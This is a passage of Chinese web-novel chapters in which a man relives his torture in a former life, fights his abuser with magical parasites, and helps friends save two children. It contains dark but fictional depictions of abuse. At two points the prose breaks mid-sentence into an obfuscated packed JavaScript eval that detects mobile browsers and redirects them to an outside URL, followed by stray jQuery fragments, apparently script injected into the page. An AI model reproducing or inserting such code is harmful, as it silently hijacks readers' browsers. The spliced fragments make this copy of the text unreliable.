“别怕,小白。”陈子轩的声音在录像里说,“很快就结束了。” 但那只是开始。 录像还在继续。更多的身影进入画面。看不清脸,只能看到模糊的轮廓,和那些戴着白手套、或者戴着各种奇怪面具的手。 君荼白的身体开始不受控制地发抖。 那些记忆——那些他拼命封印、用一百四十七世轮回试图掩盖的记忆——像决堤的洪水一样冲垮了意识。 他记得每一双手的触感。记得铁链嵌入皮肉的疼痛。记得那些笑声,那些污言秽语,那些……永无止境的耻辱。 更可怕的是,他记得最后——当一切都结束时,陈子轩蹲在他面前,用沾满血的手套拍了拍他的脸。 “真可惜。”那时候的陈子轩说,“如果你乖乖配合,还能多活一会儿。” 然后他站起身,对旁边的人说:“处理掉吧。” 他被拖出去,像扔垃圾一样扔上卡车。山路颠簸,每一次颠簸都让断裂的骨头传来剧痛。他以为自己会死在路上。 但他没有。 卡车开到后山,他被扔下来,滚进一个土坑。 污水混着血水流进眼睛,流进嘴里。 他连挪动的力气都没有。 就在意识即将彻底消散时,他听见了脚步声——不是那些人的,是另一个,沉稳而急促。 然后是一声枪响。 不,不是一声,是很多声。还有打斗声,惨叫声。 最后,一双温暖的手把他从土坑里抱出来。 “还活着!”那是个苍老的声音,很陌生,“还有一口气!” 然后是另一个年轻些的声音,带着哭腔:“医生!快叫医生!” “来不及了。”那个苍老的声音说,“只能用那个办法了。” “什么办法?” “共生契约。用你们的命,绑住他的魂。但代价是……你们要永远记得他,永远寻找他,直到他完成该做的事。” 短暂的沉默。 然后那个年轻的声音说:“我愿意。” 另一个声音说:“我也愿意。” 第三个声音只说了一个字:“嗯。” 那就是一切的开始。 秦牧。陆予瞻。沈鉴。周屹。 他们不是被他救的。 是他,被他们救了。 用他们自己的命,换了他一百四十七次重来的机会。 “想起来了?”陈子轩的声音把君荼白拉回现实。 录像还在播放和断断续续的呜咽声,但君荼白已经看不见听不见了。他的视线模糊,耳朵里全是自己剧烈的心跳声。 “这段录像,我收藏了很久很久。”陈子轩从怀中取出一颗鸽蛋大小的暗红色水晶,水晶内部有光影流动,“忆晶石——秦牧的手札里记载的小技巧。把足够强烈的记忆封存进去,就能跨越时间保存。” 他温柔地摩挲着水晶表面:“那天晚上,我特意带了组织的记录员。本来只是想留个档案,但后来发现……你的表情,你的眼神,你在最绝望的时候还在试图保护别人的样子——太美了。” “所以我把这段记忆单独提出来,做成了私人收藏。”陈子轩将忆晶石对准君荼白,水晶中的画面开始流动,“每次看,都觉得……真美。那种纯粹的痛苦,纯粹的绝望。现代人已经很难有这种体验了。” 他关掉录像,走向君荼白藏身的方向。 “这一世,你长得比那时候好看多了。”陈子轩的目光上下打量,“也更干净。第一世最后,你全身都是……嗯,各种东西。我花了很大力气才把你洗干净,然后才发现,其实你长得挺标致。” “你这一世的记忆很清晰。”陈子轩满意地说,“看来这一次,你终于觉醒前146世的记忆了。这是好事,完整的灵魂更有价值。” 他用力一拉,把君荼白拽到面前。 两人的距离近得能感受到彼此的呼吸。 君荼白闻到了那股味道,古龙水下的血腥味,还有药材掩盖下的腐败气息。那是用无数生命堆砌出来的味道。 他的身体开始不受控制地颤抖。 这是生理性的恐惧,是记忆烙印在神经里的条件反射。 “怕了?”陈子轩轻笑,“别怕,这次我不会杀你。你会成为我最珍贵的‘收藏品’,一具活着的、拥有完整前世记忆的身体。这比那些破碎的灵魂有价值多了。” 他的另一只手抬起来,指尖凝聚着暗红色的能量——那是魂甲的力量,准备强行侵入君荼白的意识,把他变成傀儡。 就是现在。 君荼白用尽全部意志力,压下身体的颤抖,抬起右手。 那只手里,握着一个已经打开盖子的玻璃瓶。 瓶口对准陈子轩的脸。 银白色的忘川蛊,化作一道流光,射向陈子轩的眉心。 距离太近,速度太快。 陈子轩甚至没反应过来,蛊虫就已经没入了皮肤。 他愣了一下,松开君荼白的下巴,摸向自己的额头。那里没有任何伤口,只有一点微凉的触感。 “你……做了什么?”陈子轩的声音第一次出现了真正的不确定。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17052011|194818||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 君荼白踉跄着后退,拉开距离。每退一步,都像踩在刀尖上。 “忘川蛊。”他的声音嘶哑得可怕,“它会让你忘记你最执着的事。” 陈子轩的表情从困惑变成震惊,然后变成愤怒——但那种愤怒只持续了一秒,就变成了更深的困惑。 他的眼神开始涣散。 “我最执着的……事?”他重复这句话,像在思考一个难题。 玉扳指的光芒开始不稳定地闪烁。 陈子轩看了看自己的手,又看了看君荼白,眉头紧皱。他的嘴唇动了动,想说什么,但没说出来。 他环顾四周,眼神茫然:“这里是……哪里?我为什么……会在这里?” 忘川蛊生效的速度惊人。 “陈先生!”一个保镖冲过来扶住他。 陈子轩推开保镖,试图集中精神。但他的思维像是被搅浑的水,记忆的片段不断翻涌又沉没。 他低头看着自己手上的玉扳指,眼神困惑:“这是……什么?” “那是魂甲,您的护身法器。”助手急切地说。 “魂甲……”陈子轩重复这个词,像在回忆什么,“对,魂甲……是用来……用来做什么的?” 没人回答。 因为所有人都看到了陈子轩眼中的茫然——那种真正的、彻底的茫然。就像一个刚刚从漫长昏迷中醒来的人,不知道自己是谁,也不知道自己在哪。 “撤退。”陈子轩终于说出这两个字,但语气不再坚定,更像是在复述别人的指令。 保镖们架起他,向通道入口撤离。两个助手犹豫了一下,也跟了上去。 君荼白站在原地,看着陈子轩的背影消失在黑暗中。 然后他的腿一软,跪倒在地。 “荼白!”陆予瞻从藏身处冲出来,想扶他。 但君荼白猛地挥手,推开了陆予瞻伸过来的手。 “别碰我。”他的声音在发抖,“别……碰我。” 陆予瞻僵住了。 君荼白扶着墙,慢慢站起来。他的脸色苍白得像纸,冷汗浸透了衣服,整个人都在不受控制地颤抖。 但他站起来了。 “我没事。”他说,但那声音听起来像快碎了。 沈鉴走过来,手里拿着记录设备。他没有看君荼白,而是在记录陈子轩离开的方向,以及空中残留的能量波动。 “忘川蛊生效速度比预期快37%。”沈鉴平静地汇报,“可能和陈子轩长期接触魂甲导致的灵魂不稳定有关。另外,他的记忆结构显示……” “沈鉴!”陆予瞻打断他,声音里压抑着怒火,“他现在需要治疗,不是数据分析!” 沈鉴推了推眼镜,看向君荼白:“你能走吗?” 君荼白点头,但身体晃了一下。 周屹从通道深处走出来,脸色比平时更阴沉。他没有看任何人,只是说:“保镖手臂上有我弟弟衣服的碎片的气息。我追踪到车牌了。” 他又要独自行动。 很显然,他能说话了,但没人发现。 陆予瞻深吸一口气,强迫自己冷静:“我们先离开这里。基金会的人随时可能回来。” “那两个孩子怎么办?”沈鉴问。 君荼白看向拱门内。两个孩子还在昏迷,额头上的符纸在微弱地发光。 “子蛊还休眠着。”他说,“先把他们带出去。我需要……找个安全的地方,慢慢处理。” “你能行吗?”陆予瞻问,语气里的担忧压过了愤怒。 君荼白沉默了很久。 然后他说:“我不知道。但……我必须行。” 他走向两个孩子,脚步虚浮,但很坚定。蹲下身时,他的手还在发抖,但他小心地把两个孩子抱起来,一个接一个。 陆予瞻想帮忙,但君荼白摇了摇头。 “我来。”他说,“这是我的……责任。” 他们原路返回,爬出地下室,回到储物间。外面还在下雨,雨水顺着屋檐流下,在院子里积成水洼。 周屹已经不见了——他又一次选择了独自行动。 沈鉴在整理数据,陆予瞻在警戒,君荼白抱着两个孩子,站在雨中。 雨水打在他脸上,混着冷汗一起流下。 他想起了第一世最后,被扔进土坑时,也下着雨。那时候的雨水是冷的,混着血和污水,流进嘴里是咸的、腥的、恶心的。 但现在的雨是干净的。 就像这一世,他的身体是干净的——至少表面上。 可那些记忆,那些触感,那些声音……它们还在。像毒蛇一样盘踞在意识深处,随时可能咬一口。 “荼白。”陆予瞻走到他身边,但没有靠太近,“车在巷口。我们先离开这里。” 君荼白点头。 他抱着两个孩子,走向巷口。每一步都走得很慢,但很稳。 沈鉴跟上来,还在记录着什么。 “你在记什么?”君荼白忽然问。 “你的生理数据。”沈鉴回答得很直接,“心跳过速,呼吸急促,肌肉紧张度超标。根据数据,你现在应该处于急性应激状态,随时可能崩溃。” “但我没有崩溃。”君荼白说。 “是的。”沈鉴看着他,“为什么?” 君荼白低头看了看怀里的孩子。女孩的眉头还皱着,像是在做噩梦。 “因为他们还在等。”他说,“147个人,等了一百四十七年。我不能让他们……再等下去了。” 沈鉴沉默了一下,然后关掉了记录设备。 “数据够了。”他说,“先处理眼前的事。” 他们走到巷口,上车。陆予瞻开车,沈鉴坐副驾驶,君荼白抱着两个孩子坐在后座。 车子驶入雨夜。 君荼白看着窗外飞掠而过的街灯,忽然开口:“陆队。” “嗯?” “对不起。”君荼白说,“刚才……推了你。” 陆予瞻从后视镜里看了他一眼,眼神复杂。 “不用道歉。”他说,“我理解。” “你不需要理解。”君荼白的声音很轻,“不用理解我。” 车里陷入沉默。 只有雨刷器规律的摆动声,还有两个孩子微弱的呼吸声。 良久,陆予瞻说:“那就不用理解。你只需要知道——无论发生什么,我们都在。不是同情你,是契约。我们绑在一起了,一百四十七世都是。” 君荼白闭上眼睛。 他想起了秦牧,想起了契约签订的那个夜晚。 那时候的他,只剩一口气,什么都看不见,什么都听不清。只感觉到四只手按在他身上,很温暖。还有四个声音,在说: “我愿意。” “我愿意。” “我也愿意。” “嗯。” 他们用命,换了他的命。 现在,他得用这条命,去做该做的事。 “去实验室。”君荼白睁开眼睛,“我要先把这两个孩子的子蛊取出来。然后……我们要找到周屹。不能让他一个人去。” 陆予瞻点头,调转方向。 沈鉴重新打开记录设备,但这次,他记录的是路线和路况。 君荼白低头看着怀里的孩子。 女孩的嘴唇动了动,无声地说着什么。 他凑近,听见了。 “……妈妈……” 君荼白握紧了手。 他想起了那份名单,147个名字。 想起了第一世临死前,对陆予瞻说的最后一句话: “带他们……回家……” 现在,他回来了。 带着一百四十七世的记忆,带着满身的伤疤,带着三个愿意陪他走到底的人。 这条路很长,很难。 但他必须走下去。 16. 余烬 凌晨三点,沈鉴的实验室。 两个孩子在特制的隔离床上沉睡,额头的黄色符纸已经被小心取下,露出的皮肤上有细密的黑色纹路——那是子蛊与神经系统连接的血管网。每一条纹路都在缓慢搏动,像有生命一样。 沈鉴站在监测屏前,手指在键盘上飞速敲击。屏幕上滚动着复杂的数据流:脑电波、心率、神经递质水平,还有用特殊设备捕捉到的“灵魂波动”。 “子蛊深度休眠状态,但神经连接已经建立。”他头也不回地说,“强行剥离会导致不可逆的脑损伤。我们需要先削弱母蛊对子蛊的控制力,再逐步切断连接。” “怎么削弱?”陆予瞻问。他站在隔离床边,目光在两个孩子的睡脸上停留,眼神复杂。 “两个方法。”沈鉴调出两张图表,“第一,找到母蛊宿主,也就是陈子轩,直接摧毁或取出母蛊。第二,用更强的蛊力覆盖母蛊的控制信号,暂时屏蔽连接,然后进行手术。” 他顿了顿,看向站在窗边的君荼白。 “第二个方法,需要你的‘织梦蛊’。用蛊力构建一个梦境屏障,隔绝子蛊与外界的联系。但这对施术者负担很大,而且……” “而且什么?”君荼白没有回头,依然看着窗外。雨已经停了,城市的灯光在湿漉漉的街道上晕开。 “而且你需要进入他们的意识。”沈鉴的声音很平静,“你会看到他们最痛苦的记忆,感受到他们的恐惧。以你现在的状态,可能会触发二次创伤。” 实验室里安静下来。 只有仪器低沉的嗡鸣声,还有两个孩子微弱的呼吸声。 就在这时,实验室的门被推开。 周屹走进来,浑身湿透,雨水顺着作战服往下滴。他的脸上有一道新鲜的擦伤,左手手臂的袖子被划破,露出下面已经简单包扎过的伤口。 更重要的是——他的嘴唇在动,发出了声音。 虽然那声音嘶哑、生涩,像生锈的齿轮重新转动,但确实是清晰的话语: “陈子轩……没回基金会。” 陆予瞻和沈鉴同时转头看他,君荼白也转过身来。 周屹说话时的动作有些僵硬,仿佛还不习惯用声带发声。他的喉结滚动了一下,继续说:“车队……中途改道。去了城南……废弃工厂。” 他的话语简短,断句生硬,但每个字都清晰。 这是君荼白这一世第一次听见周屹的声音,真正的声音,而不是之前那些压抑的气音,刚刚不久前好像也听到了,但是没人注意。 陆予瞻愣了一瞬,随即意识到什么,快步走到周屹面前:“你的禁声蛊……解除了?” 周屹摸了摸自己的喉咙,感受着声带振动时久违的触感。他点点头,目光却看向君荼白。 君荼白脸色骤变。 他想起来了。但是那段过去跟陆予瞻说的不一样。 --- 某一个轮回。还是这个仓库。 周屹发现了弟弟的线索,全身颤抖,想要嘶吼却发不出任何声音——不是因为悲痛失声,而是因为禁声蛊已经生效。 那是君荼白下的蛊。 他发现周屹的情绪太过强烈,那种失去至亲的痛苦几乎要撕裂周屹的灵魂。 “他的痛苦会破坏契约平衡。”君荼白说,“契约需要四人的灵魂频率接近,否则无法稳定。” 陆予瞻急问:“那怎么办?” 君荼白沉默片刻:“有两种方法。一是放弃契约,让他离开。二是……暂时封印他的情绪表达,让他的灵魂频率稳定下来。” “怎么封印?” “禁声蛊。”君荼白说,“秦牧不知道用什么办法传授了我他毕生所有的蛊术。里面有一种可以用蛊虫缠绕声带和情绪中枢,让他无法发声,也无法表达强烈情绪。但这意味着……在蛊解除前,他将一直沉默。” 他知道这意味着什么。如果他下蛊,周屹的沉默就是他的责任。但如果不这样做,契约无法完成,所有人都要死。 陆予瞻看着他,最终叹了口气。 “你真的要这么做?” 君荼白点头。 于是,他用秦牧教他禁声蛊的咒文。用自己的血,混合周屹的血,炼成蛊虫。蛊虫钻入周屹的喉咙,缠绕在声带和情绪中枢。 从此,周屹再也发不出完整的声音,也无法表达强烈的情绪。 而君荼白,成为了禁声蛊的主人——母蛊被他存放,子蛊在周屹体内。 --- “怎么会……”君荼白喃喃自语,下意识地摸向自己的胸口。 禁声蛊的母蛊一直用他心脏的血放在附近,与他的生命相连。如果母蛊解除,只有两种可能:要么是被下蛊人死了,要么是…… “我死了?” 这个念头让君荼白浑身发冷。 “昨晚。”周屹的声音把他拉回现实,语气很平静,“在地下室。陈子轩……播放录像的时候。” 周屹说话还有些不习惯,语速很慢,但每个字都清晰: “你的心跳……停了。” 陆予瞻和沈鉴同时看向君荼白。 君荼白想起来了。 昨晚,当陈子轩播放录像时,那些记忆如潮水般涌来。他看见了仓库、铁链、无数双手…… 在那一刻,他的心脏确实停跳了一瞬。 窒息般的痛苦,胸腔像被重锤击中,世界陷入黑暗。 虽然只有短短几秒,陆予瞻和沈鉴就把他拉了回来,但就是那几秒—— “母蛊认为宿主死亡。”沈鉴立刻理解了,“蛊术的自我保护机制。当母蛊宿主死亡,子蛊会自动解除,以免困死在被寄生者体内。” 他看着君荼白:“你昨晚心脏停跳了多久?” “不……不知道。”君荼白声音发颤,“可能……三秒?五秒?” “足够触发母蛊的死亡判定。”沈鉴调出昨晚在地下室监测到的数据,“看这里——你的心电图确实出现了三秒的直线。虽然很快恢复,但母蛊已经认定宿主死亡。” 周屹走到君荼白面前,看着他苍白的脸。 两人对视。 周屹的眼神很复杂,有担忧,有理解,还有一种君荼白读不懂的情绪。 “禁声蛊……”周屹开口,声音依然嘶哑,但正在慢慢适应,“那样做是对的。” 君荼白的呼吸一滞。 “面对我弟弟的事……我想喊,喊不出。想哭,哭不出。你说得对……我的痛苦……会撕裂契约。” 周屹握紧了拳头,又缓缓松开。 “你下蛊…是为了……绑住我。让契约完成。让我们……都能活下去。” 他顿了顿,声音更轻了: “现在蛊解了……是因为你差点死了。这不是好事。” 君荼白看着周屹,这个沉默了不知道多少个岁月的男人,现在终于能说话了,说出的第一句完整的话,是理解,不是责怪。 “对不起。”君荼白说。 周屹摇头:“不用。” 实验室里安静了几秒。 陆予瞻深吸一口气,打破了沉默:“先处理眼前的事。周屹,你说陈子轩去了城南工厂?” 周屹点点头,从湿透的口袋里掏出一样东西放在工作台上。 那是一块暗红色的水晶碎片,只有指甲盖大小,边缘不规则,像是从更大的晶体上崩裂下来的。 忆晶石。 和昨晚陈子轩用来播放录像的那种一样。 “工厂地下……有东西。”周屹的语速很慢,但每个字都在适应发声,“很多……这种石头。还有机器……在复制。” 沈鉴立刻拿起碎片,放在扫描仪下。屏幕显示,碎片内部有微弱的光影流动,但结构已经破损,无法读取完整记忆。 “忆晶石复制设备。”沈鉴眼神凝重,“基金会不仅在收集记忆,还在批量复制。如果他们把每个轮回的所有受害者的记忆都做成了忆晶石,那数量……” 他没有说下去,但所有人都明白。 那会是一个庞大的记忆档案馆,储存着无数人的痛苦和绝望。 “你怎么找到的?”君荼白问。 周屹沉默了几秒。 然后他说:“那个蛊术的作用是用沉默十年的代价换来一次利用子蛊的追踪术的机会,保镖手臂上……有我弟弟的……衣服碎片气息。” 他的声音在说到“弟弟”时,出现了一丝几乎察觉不到的颤抖。 “我追踪他们。看到陈子轩……进工厂。他状态……很奇怪。走路摇晃……说话混乱。” 周屹的描述很简洁,但足够清晰。忘川蛊正在生效,陈子轩开始失去记忆和行动能力。 “然后?”陆予瞻问。 “我等他们离开。潜入。”周屹指了指自己手臂上的伤,“有守卫。但不多。地下二层……看到机器。还有……这个。” 他又从口袋里掏出另一样东西——一个皱巴巴的纸片,上面用潦草的字迹写着一串编号: 086-047-1998 “档案编号。”沈鉴看了一眼就判断出来,“前三位是受害者编号,中间是档案分类,最后是年份。086……那是周屹弟弟周屿的编号。1998年,是他失踪的那一年。” 周屹点头,声音更哑了:“那里……有他的忆晶石。我看到了……一点片段。” 他没有说看到了什么,但握紧的拳头和手臂上绷紧的肌肉说明了一切。 君荼白看着周屹。这个沉默了一百四十七世的男人,终于能说话了,但说出的第一件事,就是关于弟弟的线索。 而让周屹沉默的人,正是自己。 “周屹。”君荼白开口,声音里有种难以察觉的紧绷,“下次……带上我们。” 周屹看着他,眼神复杂。良久,他点了点头:“好。” 一个字的承诺,但足够了。 “先处理眼前的事。”陆予瞻把话题拉回来,看向沈鉴,“你刚才说第二个方法需要荼白用织梦蛊。手术部分呢?” “我可以做。”沈鉴说,“但需要君荼白持续维持梦境屏障,直到手术完成。整个过程大概需要四到六小时。这期间,他的意识会完全沉浸在两个孩子的记忆里,无法感知外界。” 陆予瞻的眉头皱紧:“风险太大。如果他沉浸在记忆里太深,可能……” “可能回不来。”沈鉴接上他的话,“我知道。所以需要有人在他身边,随时监测他的状态,必要时强制唤醒。” 他看向陆予瞻和周屹:“你们谁来做?” “我。”陆予瞻和周屹几乎同时开口。 两人对视一眼。 陆予瞻说:“我学过紧急医疗,知道怎么判断生命体征。” 周屹摇头:“你情绪……不稳定。会影响判断。” 这是周屹解除禁声蛊后,说得最长的一句话。他说得很慢,但很清晰。 陆予瞻的表情僵了一下。 周屹继续说:“昨晚……你想冲出去。当陈子轩……播放录像时。我按住了你。” 他说的是事实。在地下室,当陈子轩用忆晶石播放第一世的录像时,陆予瞻几乎要冲出去拼命。是周屹死死按住他,才没暴露位置。 “周屹说得对。”沈鉴平静地说,“数据显示,陆予瞻你的皮质醇和肾上腺素水平从昨晚到现在一直处于高位。你的判断力会受到情绪影响。” 陆予瞻沉默了。他握紧拳头,又松开。 “……好。”他最终说,“周屹,你负责监测。但要记住——如果荼白出现危险,立刻中断,不要犹豫。” 周屹点头:“明白。” “那就开始吧。”君荼白走到病床中间坐下,“我准备好了。” 沈鉴给他戴上监测头盔,在左右手腕上各贴了一组电极。周屹搬了把椅子坐在他身边,手里拿着紧急唤醒装置。 陆予瞻退到一旁,看着他们,眼神里是压抑不住的担忧。 “意识连接建立中……”沈鉴盯着屏幕,“10%……30%……50%……” 君荼白闭上眼睛。 黑暗。然后是光。 他进入了一个破碎的空间——那不是具体的场景,而是记忆的碎片。无数画面像被撕碎的相片一样漂浮在空中:笑脸、眼泪、黑暗的房间、伸出的手…… 这些是两个孩子记忆的混合物。他们被关在一起,恐惧和痛苦让他们的意识边界变得模糊。 君荼白小心翼翼地穿行在碎片之间,寻找子蛊的位置。蛊虫在记忆的缝隙里留下银色的轨迹,像在黑暗森林中洒下的面包屑。 他看见了。 在记忆的最深处,有两个黑色的茧。茧的表面有细密的血管在搏动,茧内隐约能看见蜷缩的人形——那是两个孩子的意识核心,被子蛊包裹、蚕食。 “找到子蛊了。”君荼白在现实中说,声音很轻,像梦呓,“正在建立梦境屏障。” 他的蛊力开始编织,银白色的丝线从虚空中浮现,缠绕在黑色的茧上。 但就在这时,他感觉到了异样。 心脏的位置传来一阵刺痛。 那是禁声蛊母蛊残留的痕迹。虽然母蛊已经解除,但它在他体内寄生了一百多个轮回,留下了永久的印记。 现在,这个印记正在共鸣。 与周屹体内的子蛊残留共鸣。 与两个孩子体内的子蛊共鸣。 与这座实验室里,所有蛊虫的气息共鸣。 君荼白的意识开始摇晃。 他看见的不再只是两个孩子的记忆,还有更多——周屹失去弟弟时的绝望,陆予瞻看着他死去时的崩溃,沈鉴在无数个夜晚研究数据的孤独…… 还有他自己。 无数次的死亡,无数次的重来。 “荼白!”周屹的声音在耳边响起,把他从记忆的漩涡中拉出来一点,“稳住!” 君荼白咬紧牙关,强迫自己聚焦。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17052012|194818||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他继续编织梦境屏障。 但那些记忆还在涌来。 他放开了自己记忆的屏障。 --- 第一世。仓库。陈子轩的手按在他的肩膀上。 “小白,你看,这就是不听话的下场。” 旁边另一个隔间里,一个年轻女孩被铁链锁着,浑身是血。她已经不哭了,只是睁大眼睛看着天花板,眼神空洞。 “她很早就放弃了。”陈子轩的语气带着遗憾,“才三天,灵魂就开始消散。这种质量,不值得收藏。” 他转向君荼白,微笑:“但你不一样。你还在挣扎,还在恨我。这种强烈的情绪,会让你的灵魂更……美味。” 君荼白不说话,只是死死盯着他。 陈子轩笑了:“对,就是这种眼神。保持住。” 他站起身,对旁边的人说:“好好照顾他。别让他死了,也别让他疯。我要一个完整的、清醒的灵魂。” 监测屏幕上,所有指标都开始报警。 心率160,血压飙升,脑电波出现癫痫样放电。 “沈鉴!”陆予瞻的声音里带着压抑的恐慌。 “再等等。”沈鉴盯着屏幕,“他的蛊力输出在增强。他在用痛苦作为燃料。” “这会烧死他的!” “我知道。”沈鉴的声音很冷,“但他自己选择了这条路。” 现实里,君荼白的身体开始剧烈颤抖。汗水浸透了衣服,嘴唇咬出了血。 周屹握紧了紧急唤醒装置,手指悬在按钮上方。 他的目光在屏幕和君荼白的脸之间来回移动。 然后,他做了一个决定。 他没有按按钮。 而是伸出手,握住了君荼白的手腕。 用力地、坚定地握住。那是战友之间传递力量的方式,是在战场上拖着伤员撤离时的握法。 “荼白。”周屹的声音在君荼白耳边响起,依然简短,但每个字都像钉子一样钉进意识,“听我说。” “我不怪你。” 这句话像一道惊雷,劈开了君荼白意识里的黑暗。 “第一世……你为了救孩子们暴露了…” 周屹握得更紧。 “他们有几个孩子……逃了出来……包括我弟弟,只是他最后又被抓到了,但是逃走了几个人,包括……” 他的声音很哑,但很清晰。 “所以……现在,你也要活下去。为了那147个孩子……也为了我们。” 这些话对周屹来说,已经是一篇很长的演讲。 但对君荼白来说,它们像灯塔一样,在记忆的黑暗海洋里,照出了一条路。 他看见了。 在两个孩子记忆的最深处,在那片黑暗的核心,其实还有一点点光。 那是他们互相安慰的声音: “哥哥在……” “妹妹不怕……” 那是人性最后的光,是黑暗无法完全吞噬的东西。 君荼白抓住了那点光。 他用尽最后的蛊力,银色的丝线爆发出刺目的光芒,瞬间吞没了黑色的茧。 梦境屏障构建完成。 两个孩子的意识核心,被包裹在温暖的光茧里。子蛊暂时失去了连接,陷入沉睡。 “成功了。”君荼白在现实中说,声音虚弱得像耳语,“可以……进行手术了。” 他睁开眼睛,想抽回手,但身体晃了一下,往前倒去。 这一次,他没有推开周屹。 周屹扶住了他,动作很稳,但很克制。没有过度靠近,只是提供必要的支撑。 “谢谢。”君荼白轻声说。 周屹摇头,扶着他坐到旁边的椅子上。 沈鉴立刻开始手术准备。陆予瞻想过来,但被周屹一个眼神制止了。 “你……去外面。”周屹对陆予瞻说,“冷静一下。这里……有我和沈鉴。” 陆予瞻看着周屹,又看看君荼白,最终点了点头。 他走出实验室,关上了门。 房间里只剩下五个人——两个昏迷的孩子,一个全神贯注做手术的沈鉴,一个虚弱的君荼白,还有一个刚刚找回声音的周屹。 “周屹。”君荼白靠在椅背上,闭上眼睛,“你弟弟……我们会找到的。” 周屹沉默了几秒。 然后他说:“我知道。” “等这里结束……我们就去工厂。”君荼白说,“把那些忆晶石……都毁掉。” 周屹看着他,眼神复杂。 良久,他说:“好。” 两人就这样安静地坐着,看着沈鉴做手术。沈鉴的动作精确而迅速,特制的手术工具在显微镜下操作,一点一点剥离子蛊与神经的连接。 凌晨五点,手术完成。 两个孩子额头上的黑色纹路消失了,呼吸变得平稳,脸色也恢复了血色。 沈鉴摘下手术手套,长长吐出一口气。 “成功了。子蛊完整取出,神经损伤控制在可恢复范围内。他们会昏迷一段时间,但醒来后不会有后遗症。” 君荼白也松了口气。 然后,一阵强烈的眩晕袭来。 他眼前一黑,失去了意识。 这一次,周屹接住了他。 沈鉴快步走过来检查:“过度消耗,加上记忆反噬。他需要深度休息。” “我带他去休息室。”周屹说。 “等一下。”沈鉴看着监测数据,眉头皱起,“他的脑电波显示……他在做噩梦。非常强烈的噩梦。” 屏幕上,君荼白的脑电波呈现出混乱的波形,那是创伤后应激障碍的典型表现。 “他会梦见什么?”周屹问。 沈鉴沉默了一下,调出另一份数据——那是昨晚在地下室,他通过仪器捕捉到的忆晶石能量波动。 “可能梦见……陈子轩让他看的那些东西。”沈鉴的声音很轻,“也可能梦见……更可怕的事情。” 周屹看着怀里昏迷的君荼白。 这个看起来瘦弱的年轻人,已经承受了一百四十七世的痛苦,现在还要继续承受。 “我守着他。”周屹说,“你去处理……后续。那两个孩子……需要安排。” 沈鉴点头。 周屹抱起君荼白——很轻,比看上去还要轻——走向休息室。 把他放在床上时,君荼白的眉头紧皱着,嘴唇无声地动着,像在说什么。 周屹凑近,听见了。 “……别碰我……” “……走开……” “……妈妈救我……” 那是梦呓,混杂着第一世的恐惧和更久远的童年记忆。 周屹拉过一把椅子,在床边坐下。 他只是坐在那里,像一个沉默的守卫。 窗外,天色开始泛白。 新的一天要开始了。 但昨天的阴影,还远远没有散去。 17. 梦魇深处 凌晨五点半,休息室。 君荼白在床上蜷缩着,即使在昏迷中,身体也保持着防御姿态,膝盖抵着胸口,双臂环抱,手指无意识地抓扯着被单。他的眉头紧锁,额头上沁出细密的冷汗。 周屹坐在床边的椅子上,保持着安静的警戒。他的视线落在君荼白微微颤抖的指尖上,那双原本修长白净的手此刻布满了细小的伤痕和蛊虫爬过的红痕。 监控屏幕上,君荼白的脑电波剧烈波动,波形尖锐如锯齿。 周屹的目光移向门口。透过磨砂玻璃,他能看见一个人影靠在走廊的墙壁上,一动不动。那是陆予瞻,从手术结束到现在,已经在那里站了四十分钟。 —— 走廊里。 陆予瞻背靠着墙壁,闭着眼睛。他的左手无意识地按压着胸口,那里有一道旧伤疤,是第一世时,他在仓库寻找君荼白时被流弹击中的地方。每一世轮回,这道伤疤都会重新出现,像某种刻在灵魂上的印记。 他听见了休息室里传来的细微声响。 君荼白的梦呓,断断续续,破碎不堪: “……别过来……” “……求你…………” 陆予瞻的指尖深深陷入掌心。那些声音像细针一样扎进他的神经,勾起了他自己记忆里的画面。 第一世。 他带着突击队冲进去时,已经晚了。 他在后山找到君荼白。那时候的君荼白二十四岁,浑身是伤,眼睛半睁着,瞳孔涣散,但还有一丝微弱的呼吸。 “荼白!”陆予瞻跪下来,颤抖着手去检查他的脉搏,“坚持住,医疗队马上到!” 君荼白的嘴唇动了动,用几乎听不见的声音说:“队长……孩子们……救出来几个?” 都这种时候了,他还在问这个。 陆予瞻的眼泪掉下来:“救出来了,都救出来了。你别说话了,保存体力。” “那就好……”君荼白扯出一个微弱的笑容,然后眼神开始涣散,“队长……我有点冷……” 陆予瞻脱下自己的外套盖在他身上,但感觉到君荼白的体温正在迅速流失。那种无能为力的感觉,那种眼睁睁看着战友的生命从指缝间溜走的绝望,像一把钝刀,在这一百四十七世里反复切割他的灵魂。 后来秦牧告诉他,君荼白临死前说的最后一句话是:“告诉那几个……快跑……” 那几个,有陆予瞻的妹妹、周屹的弟弟……那时候他们还只是被关在隔壁隔间的普通人,君荼白甚至不知道他们的名字,却在最后时刻还想着让他们逃走,他的妹妹因为君荼白在那一世逃了出来,过了安稳幸福的一生。 就是这个瞬间,让陆予瞻在秦牧问“自愿吗”时,毫不犹豫地说了“自愿”。 —— 走廊里传来脚步声。 沈鉴从实验室走出来,手里拿着平板电脑,屏幕上显示着两个孩子的生命体征数据。他看到陆予瞻,停下脚步。 “两个孩子的情况稳定了。”沈鉴的声音很平静,但镜片后的眼睛里有掩饰不住的疲惫,“预计今天中午会苏醒。他们可能会提供关于基金会内部运作的关键信息。” 陆予瞻睁开眼睛,点了点头。他的视线又飘向休息室的门。 